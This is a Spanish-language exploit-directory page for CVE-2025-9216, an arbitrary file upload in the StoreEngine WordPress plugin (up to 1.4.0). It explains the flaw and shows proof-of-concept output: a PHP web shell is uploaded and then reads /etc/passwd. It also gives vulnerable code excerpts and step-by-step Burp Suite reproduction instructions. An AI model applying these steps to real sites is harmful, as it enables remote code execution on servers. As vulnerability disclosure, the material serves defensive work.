Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-9216 — StoreEngine – Potente plugin de comercio electrónico para WordPress para pagos, membresías, afiliados, ventas y más <= 1.4.0 - Autenticado (Suscriptor+) Subida de archivos arbitraria | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-9216
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubd0n601/cve-2025-9216

CVE-2025-9216

StoreEngine – Potente plugin de comercio electrónico para WordPress para pagos, membresías, afiliados, ventas y más <= 1.4.0 - Autenticado (Suscriptor+) Subida de archivos arbitraria

Ver Repositorio
3hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

StoreEngine – Potente plugin de eCommerce de WordPress para Pagos, Membresías, Afiliados, Ventas y Más <= 1.4.0 - Carga Arbitraria de Archivos Autenticada (Suscriptor+)

El plugin StoreEngine contiene una vulnerabilidad en su función de Importación/Exportación CSV que permite a cualquier usuario autenticado (suscriptor, autor, editor, etc.) subir archivos arbitrarios y obtener ejecución remota de código. La vulnerabilidad proviene de dos fallos de seguridad: (1) el endpoint de importación CSV carece de comprobaciones adecuadas de validación de archivos y de permisos, y solo depende de la verificación de nonce para la seguridad; y (2) el storeengine_nonce se expone a TODOS los usuarios del frontend a través del JavaScript del plugin. Esta combinación permite que cualquier usuario autenticado extraiga el nonce de las páginas del frontend y lo utilice para subir web shells PHP a través del endpoint storeengine_csv/import, otorgando de manera efectiva a los usuarios suscriptor+ la capacidad de ejecutar código arbitrario en el servidor.

Resumen de Exploits

  • Se proporciona un POC CVE-2025-9216.py para demostrar a un administrador subiendo una web shell llamada .
omg.php
root@kitploit:~
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}

Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php

Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

Detalles

Función de Carga de Archivos Vulnerable

La acción AJAX storeengine_csv/import llama a la función import() en la línea 51 de /wp-content/plugins/storeengine/addons/csv/ajax/import.php, que carece de las comprobaciones de permisos y de la validación de tipo de archivo adecuadas:

root@kitploit:~
public function import() {
    if ( ! isset( $_FILES['file'] ) ) {
        wp_send_json_error( 'No file uploaded.' );
    }

    $file   = $_FILES['file'];
    $folder = Helper::get_upload_dir() . '/csv/';

    if ( ! file_exists( $folder ) ) {
        wp_mkdir_p( $folder );
    }

    $filename = sanitize_file_name( $file['name'] );
    $target   = trailingslashit( $folder ) . $filename;

    if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
        wp_send_json_error( 'Failed to move uploaded file.' );
    }

    wp_send_json_success( [
        'filename' => $filename,
    ] );
}

La función solo utiliza sanitize_file_name() para limpiar el nombre del archivo, pero no realiza ninguna validación de tipo de archivo ni comprobaciones de capacidades. Esto permite subir cualquier tipo de archivo, incluidos archivos PHP que pueden ser ejecutados por el servidor web.

Vulnerabilidad de Exposición del Nonce

El storeengine_nonce está expuesto a TODOS los usuarios del frontend a través del JavaScript del plugin. Esto ocurre en el método _get_script_data() en la línea 279 de /wp-content/plugins/storeengine/includes/assets.php:

root@kitploit:~
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

Este nonce se localiza luego en el JavaScript del frontend mediante el método frontend_scripts() en la línea 120:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Verificación del Nonce

El nonce se verifica en el método AbstractRequestHandler::check_permission() en la línea 510 de /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

Esta combinación permite que cualquier usuario autenticado suba archivos arbitrarios, incluidas web shells PHP para la ejecución remota de código.

Reproducción Manual

  1. Inicia sesión en el panel de administración y navega al plugin StoreEngine.
  2. Ve a la sección CSV Import (si está disponible en la interfaz de administración).
  3. Abre Burp Suite o una herramienta similar y comienza a interceptar el tráfico.
  4. Intenta subir un archivo e intercepta la solicitud POST a /wp-admin/admin-ajax.php que llama a la acción storeengine_csv/import.
  5. Modifica la solicitud para incluir un archivo arbitrario; en el siguiente ejemplo estamos subiendo una web shell PHP.
  6. Envía la solicitud y recibe {"success":true,"data":{"filename":"shell.php"}}.
  7. Accede a la web shell en https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php y ejecuta código.
Descargar herramienta